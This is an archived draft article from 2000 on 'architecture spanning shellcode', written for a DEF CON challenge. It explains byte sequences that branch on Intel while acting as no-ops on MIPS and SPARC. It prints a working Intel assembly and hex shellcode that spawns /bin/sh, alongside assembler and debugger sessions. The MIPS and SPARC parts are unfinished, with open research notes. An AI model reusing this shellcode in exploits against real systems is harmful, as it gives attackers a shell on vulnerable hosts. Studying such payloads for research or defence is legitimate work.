http://www.groar.org/expl/intermediate/spanning.html

Architecture spanning shellcode
	by [email protected]	09/05/2000

[rough draft. send all the comments to [email protected]]

Content:
	Introduction
	Intel architecture
	Mips architecture
	Sparc architecture
	Putting it all together
	Credits
	References
	To Do list



Introduction:

  At defcon8 caezar's challenge 4 party a problem was present to write a
shellcode that will run on two or more processor platforms. Below you will
find my solution (don't forget to check the credits section).

  The general idea behind a architecture spanning shellcode is trying
to come up with a sequence of bytes that would execute a jump instruction on
one architecture while executing a NOP-like instruction on another architecture.
That way we can branch to our shellcode on one architecture and falling through
to a different shellcode on another architecture.

  Here is an ascii presentation of our bit stream:

XXX
arch1 shellcode
arch2 shellcode

where XXX is a sequence of bytes that is going to branch to arch2's
shellcode on arch2 and going to fall through to arch1's shellcode on arch1.

In our case arch1 is going to be a MIPS platform and arch2 is an Intel platform

Due to certain intricacies (explained later) our bit stream is going to look
like
[XXX: this is probably going to go away]

XXX
YYY
arch2 shellcode
arch1 shellcode

where XXX is the intel jump / mips nop instruction and YYY is a MIPS short jump
instruction that will jump to MIPS shellcode.

[XXX: do more research on this.. can be avoided if we peform a longer jump
thus still allowing for MIPS opcode to be 0]
[XXX: do more research on short intel jumps.. how big is the short intel
jmp instruction? the jmp i am using right now is 5 bytes long which is
obviously a long jump]
[XXX: branch delay slots! need to have a working code in order to test those
 can get complicated.. give some theory behind CPU optimizations]





Intel architecture:

$ uname -ms
OpenBSD i386			// openbsd.. the only way to fly

$ cat jmp.asm			// a simple example of a relative jump
				// instruction. using this example + gdb
				// we can figure out the hex and binary
				// equiv of our instruction
section .text
global  _syscall:
        int     0x80
	ret

_start:
        mov     eax, 2
        jmp     $+0xA		; relative jump! jump to a push instruction
				; thus bypassing mov eax, 3 instruction
        mov     eax, 3
        push    eax
        mov     eax, 1          ; sys_exit
        call    _syscall

$ nasm -f aoutb jmp.asm		// this is how we compile & link our nasm code
$ ld -e _start -o jmp jmp.o
$ ./jmp
$ echo $?
2				// notice that the return code is 2 and not 3!
				// that means that our jmp $+0xA worked.
				// the jmp instruction jumped over 'mov eax, 3'
				// instruction
$ gdb -q jmp
(no debugging symbols found)...(gdb) disassemble start
Dump of assembler code for function start:
0x1023 : movl   $0x2,%eax
0x1028 :       jmp    0x1032 
0x102d :      movl   $0x3,%eax
0x1032 :      pushl  %eax
0x1033 :      movl   $0x1,%eax
0x1038 :      call   0x1020 
0x103d :      nop
0x103e :      nop
0x103f :      nop
End of assembler dump.
(gdb) x/5bx start+5			// our jump instruction
					// 0xe9 is the opcode.
					// the last four bytes is the
					// offset - 5 bytes
0x1028 :       0xe9    0x05    0x00    0x00    0x00
(gdb) x/t start+5
0x1028 :       11101001	// binary for 0xe9. will need that later


39 bytes intel shellcode by yours truly (with some feedback from bind). To
learn more about writing shellcode check out Aleph's One article on writing
buffer overflows in Phrack 49 (see the reference part).


__asm__("
        jmp     0x21                    # 27 bytes
        popl    %esi

        pushl   $0

        movl    %esi, 8(%esi)           # ptr to ptr to /bin/sh
        leal    8(%esi), %eax
        pushl   %eax

        movl    %esi, %eax              # ptr to /bin/sh
        pushl   %eax

        movl    $0x3b, %eax
        pushl   $0
        int     $0x80

        pushl   $5
        pushl   $0
        movl    $1, %eax
        int     $0x80

        call    -0x26                   # 32 bytes
#       .string \"/bin/sh\"
        .byte   0x2f
        .byte   0x62
        .byte   0x69
        .byte   0x6e
        .byte   0x2f
        .byte   0x73
        .byte   0x68
        .byte   0x00
        .byte   0x00
        .byte   0x00
        .byte   0x00
        .byte   0x00
        .byte   0x00
        .byte   0x00
        .byte   0x00
        .byte   0x00
");





MIPS architecture:

The nice thing about MIPS assemly is that each MIPS instruction is exactly
32 bits long.

In our case, first intel instruction (jmp) is 5 bytes long thus we pad the 5
byte intel instruction with another 3 bytes to create a total of 2 MIPS
instructions.

first intel instruction (jmp $+12) looks like
0xe9    0x07    0x00    0x00	0x00

converting it to binary gives us

11101001 00000111 00000000 00000000 00000000

we are going to ignore the last byte for now as it is going to become
the first byte of the next MIPS instruction.
also we shouldn't forget that MIPS architecture is big-endian while Intel
arch is little-endian thus we should swap the consequitive bytes around

In order to make sense out of the above binary stream we have to understand
how MIPS processor is going to interpret it. [XXX: add more comments
regarding MIPS instruction formats]

MIPS R-type instruction format:

opcode (5 bits)  rs (5 bits)  rt (5 bits)  rd (5 bits)  shamt (5 bits) funct
									(6 bits)

00000 11100 10100 10000 00000 00000
(op)  (rs)  (rt)  (rd)  (shamt) (funct)

The opcode of 0 represents a variety of arithmetic instructions. We need to
look at the funct field in order to figure out which instruction is going to
be executed. A MIPS reference indicates that an opcode of 0 and funct of 0
represent a shift left instruction (sll). Even though this is not a nop
instruction it is good enough in our case since shift amount (shamt) is 0
none of the registers are going to be changed.

next MIPS instruction looks like:
   
0x00	0x00    0x00    0x00

32 bits of 0's is a MIPS nop instruction (MIPS nop instruction is "represented
by sll $0, $0, 0, which shifts the register 0 left 0 places. it does nothing
to register 0, which can't be changed in any case, and hence is used as a nop
by MIPS software")



the shellcode itself is incomplete..  need an account on a MIPS box
(i.e. an SGI box)
if you can provide me with an account for a short amount of time that would
be great!





Sparc architecture:

Just as it is the case with MIPS architecture, Sparc instructions are also
always 32 bits long. Sparc architecture is also big-endian thus whatever
instruction decoding we applied to MIPS is also applicable to sparc..
thus our 2 sparc instructions are going to like

0xe9    0x07    0x00    0x00	0x00
11101001 00000111 00000000 00000000 00000000

and

00000000000000....

an opcode of 0 in sparc belongs to SETHI & Branches (Bicc, FBfcc, CBcc) group
[XXX: decode the rest of the instruction. make sure it does what we want (nop)]
[XXX: the challenge at this point is have a MIPS jump to be a nop in Sparc
assembly.. or the other way around.. thus our bits stream now looks like

XXX		- intel jump
YYY		- mips jump
ZZZ		- sparc jump.. might not need that in case we make sparc
		  shellcode to follow the YYY jump
arch1
arch2
arch3

fun ;-)
]





Putting it all together.. Architecture spanning shellcode:


0xe9    0x07    0x00    0x00    0x00	; jmp $+12 (intel)
0x00	0x00	0x00			; some useless MIPS arithmetic inst.

(MIPS 4 byte jump to MIPS shellcode)

intel shellcode:

\xeb\x21\x5e\x6a\x00\x89\x76\x08\x8d\x46\x08\x50\x89\xf0
\x50\xb8\x3b\x00\x00\x00\x6a\x00\xcd\x80\x6a\x05\x6a\x00\xb8\x01
\x00\x00\x00\xcd\x80\xe8\xda\xff\xff\xff\x2f\x62\x69\x6e
\x2f\x73\x68\x00\x00\x00\x00\x00\x00\x00\x00\x00

(MIPS shellcode)






Credits:

Greg Hoglund for coming up with the original idea at the challenge party
prole & harm for coming with an idea way before Greg :)
SSG, ghettohackers





References:


prole & harm's paper on the subject (way more extensive than mine)
	not released yet.

the challenge
	http://www.caezarschallenge.org/

aleph's one article on buffer overlows in phrack 49.





To Do List:

add more architectures (at least sparc, maybe hp and powerpc)

[XXX: afaik the core powerpc instruction set is the same as that of MIPS]

[XXX: do more research on shellcode that will run on both bsd & linux..
	bsd passes the parameters to syscalls on stack while linux uses
	registers for that..

$ cat linuxbsdasm.asm
section .text
global  _start

_syscall:
        int     0x80
        ret

_start:
        mov     ebx, 13		; place the exit code in a register (for linux)
        push    ebx		; and push it on stack (for bsd)
        mov     eax, 1          ; sys_exit (common call for both OSes)
        call    _syscall        ; exit(13)

$ nasm -f aoutb linuxbsdasm.asm && ld -e _start -o linuxbsdasm linuxbsdasm.o
$ ./linuxbsdasm
$ echo $?
13
$ uname -ms
OpenBSD i386
$ ssh -l eugene linuxbox
[eug...@linuxbox]$ nasm -f elf linuxbsdasm.asm && ld -s -o linuxbsdasm linuxbsdasm.o
[eug...@linuxbox]$ ./linuxbsdasm
[eug...@linuxbox]$ echo $?
13
[eug...@linuxbox]$ uname -ms
Linux i686
]


Reply via email to